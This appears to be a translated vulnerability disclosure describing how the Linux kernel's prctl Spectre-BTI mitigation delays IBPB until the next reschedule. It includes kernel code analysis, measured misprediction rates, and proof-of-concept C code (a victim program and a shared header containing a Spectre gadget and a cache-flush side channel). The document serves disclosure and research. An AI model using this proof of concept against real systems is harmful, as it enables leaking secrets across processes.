José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
在测试 Spectre-BTI 攻击的成功率时,我们使用内核 API 作为缓解措施[^1]时检测到一种异常模式。我们的测试表明,Linux 内核未能正确缓解攻击,导致进程在系统调用后短时间内仍处于暴露状态。
进一步调查显示,内核在系统调用期间并未立即发出 IBPB。ib_prctl_set[^2] 函数更新任务的线程信息标志 (TIF) 并在 __speculation_ctrl_update [^3] 函数中更新 SPEC_CTRL MSR,但 IBPB 仅在下次调度时检查 TIF 位时才发出。这使得受害者在 prctl 系统调用之前注入 BTB 的值仍然容易受到攻击。只有在任务重新调度后,该行为才会得到纠正。此外,在默认场景下(即内核通过 retpoline 或 eIBRS 保护自身时),内核入口(由于系统调用本身)不会发出 IBPB。
使用以下命令执行 prctl 以缓解 spectre-BTI 攻击:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
在 5.15 内核中会调用 ib_prctl_set[^2] 函数。当使用 SPEC_DISABLE 选项时,会设置 task_set_spec_ib_disable 的 TIF 位,并调用 task_update_spec_tif:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* 当缓解措施被强制禁用时,间接分支推测始终被允许。
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disable 调用 set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);,如果目标任务是当前任务,则调用 speculation_ctrl_update_current();
static void task_update_spec_tif(struct task_struct *tsk)
{
/* 强制更新真实的 TIF 位 */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* 立即更新当前任务的推测控制 MSR,
* 但对于非当前任务,延迟设置 CPU 缓解措施,
* 直到任务下次被调度。
*
* 这只可能发生在 SECCOMP 缓解措施中。对于 PRCTL,始终是当前任务。
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_current 在 speculation_ctrl_update 包装器之后,执行 __speculation_ctrl_update,其中 tifp = ~tifp,这里执行了设置 STIBP 的 wrmsr 更新,但没有发出 IBPB:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* 根据缓解方法处理 TIF_SSBD 的变化。 */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* 仅当启用条件 STIBP 时,评估 TIF_SPEC_IB。 */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
seccomp 系统调用也使用 ib_prctl_set[^2] 作为缓解措施,位于 arch_seccomp_spec_mitigate[^4] 内部,因此使用 seccomp 时预期会有相同的结果。
虽然通过代码分析我们确信存在可利用的窗口,但尚不清楚该窗口是否足够大,以便受害者加载秘密信息且攻击者能够泄露它(因为预期在发出 prctl 调用之前秘密信息不在受害者地址空间中)。测试在具有硬件缓解措施支持的裸机机器上执行,安装了 ubuntu 22.04.1 LTS:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* 缓解技术的硬件支持(CPU 微码)
* 间接分支受限推测 (IBRS)
* SPEC_CTRL MSR 可用: 是
* CPU 指示 IBRS 能力: 是 (SPEC_CTRL 特性位)
* 间接分支预测屏障 (IBPB)
* CPU 指示 IBPB 能力: 是 (SPEC_CTRL 特性位)
* 单线程间接分支预测器 (STIBP)
* SPEC_CTRL MSR 可用: 是
* CPU 指示 STIBP 能力: 是 (Intel STIBP 特性位)
* 推测性存储绕过禁用 (SSBD)
测试代码由两个在同一个逻辑核心上执行的进程组成。攻击者不断地用受害者进程中一个 spectre 小工具的地址污染 BTB。受害者进程通过检查测试变量是否被 spectre 小工具函数访问来测量误预测率。这通常返回以下输出:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
然后,使用 PRCTL 来缓解攻击。可以通过在程序开头添加 prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0); 来启用缓解措施。这应该能够缓解 spectre-BTI 攻击:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
然而,一些测试显示了不同的结果:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
改变 'nice'(优先级)似乎会影响误预测率:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
这表明 prctl 仅在下次调度后才保护进程,正如代码分析所理解的那样。该测试的另一个奇怪行为是,在错误分支之后,推测路径应该被纠正,并且真实值必须被写入 BTB。由于兄弟线程上没有其他攻击者重新污染 BTB,如此高的误预测值出乎意料。
为了确保这不是测量错误,我们创建了一个简单的 POC。受害者代码始终通过一个易受 spectre-BTI 攻击的函数指针执行 safe_function。受害者通过 prctl 系统调用(在 protect_me 内部)请求内核进行保护。受害者还从文本文件中加载一个秘密信息,表明其他系统调用也不会检查 TIF 位或触发强制 IBPB 的重新调度。
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//只调用 safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//调用 prctl 来保护此进程
protect_me();
//然后才将秘密信息加载到内存中
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//这些参数在 safe_function 中从未被使用,但它们匹配 spectre_gadget 的签名,而 spectre_gadget 不应该被调用
//由于已调用 prctl,攻击者不应该能够污染 BTB 并泄露秘密信息
spec(&sharedmem[2000], secret, idx);
}
}
大多数 libc 函数被放在攻击者和受害者的公共头文件中,这样 spectre_gadget 和 spec 函数在受害者和攻击者中共享相同的内存地址(否则会创建 .GOT 条目,地址会改变)。这不是必需的,还有其他方法可以将分支放在相同地址并模仿受害者上下文,但这种方法更简单。
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];
// 此函数什么也不做。始终被受害者调用
void safe_function(char *a, char *b, unsigned idx)
{
}
// 此函数永远不会被受害者调用
void spectre_gadget(char *addr, char *secret, unsigned idx)
{
volatile char d;
if ((secret[idx / 8] >> (idx % 8)) & 1)
d = *addr;
}
// 辅助函数,可能不是必需的,但使测试更容易
void flush(char *adrs)
{
asm volatile(
"clflush [%0] \n"
:
: "c"(adrs)
:);
}
// 此函数易受 spectre-BTI 攻击。
void spec(char *addr, char *secret, unsigned idx)
{
for (register int i = 0; i < 30; i++)
;
codePtr(addr, secret, idx);
}
// 打开文件为只读内存,用作侧信道,但可以是任何其他 COW 文件,例如 libc
char *open_shared_mem()
{
int fd = open("sharedmem", O_RDONLY);
char *res = (char *)mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
// 确保页面在内存中
volatile char d = res[2100];
return res;
}
// 从文件中加载秘密信息
void load_secret(char *secret)
{
FILE *fp = fopen("secret.txt", "r");
fgets(secret, 20, (FILE *)fp);
}
// 调用 prctl 保护用户免受 spectre-BTI 攻击 - https://docs.kernel.org/userspace-api/spec_ctrl.html
void protect_me()
{
usleep(1000); //不是必需的,但会重置调度器上的可用时间
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
}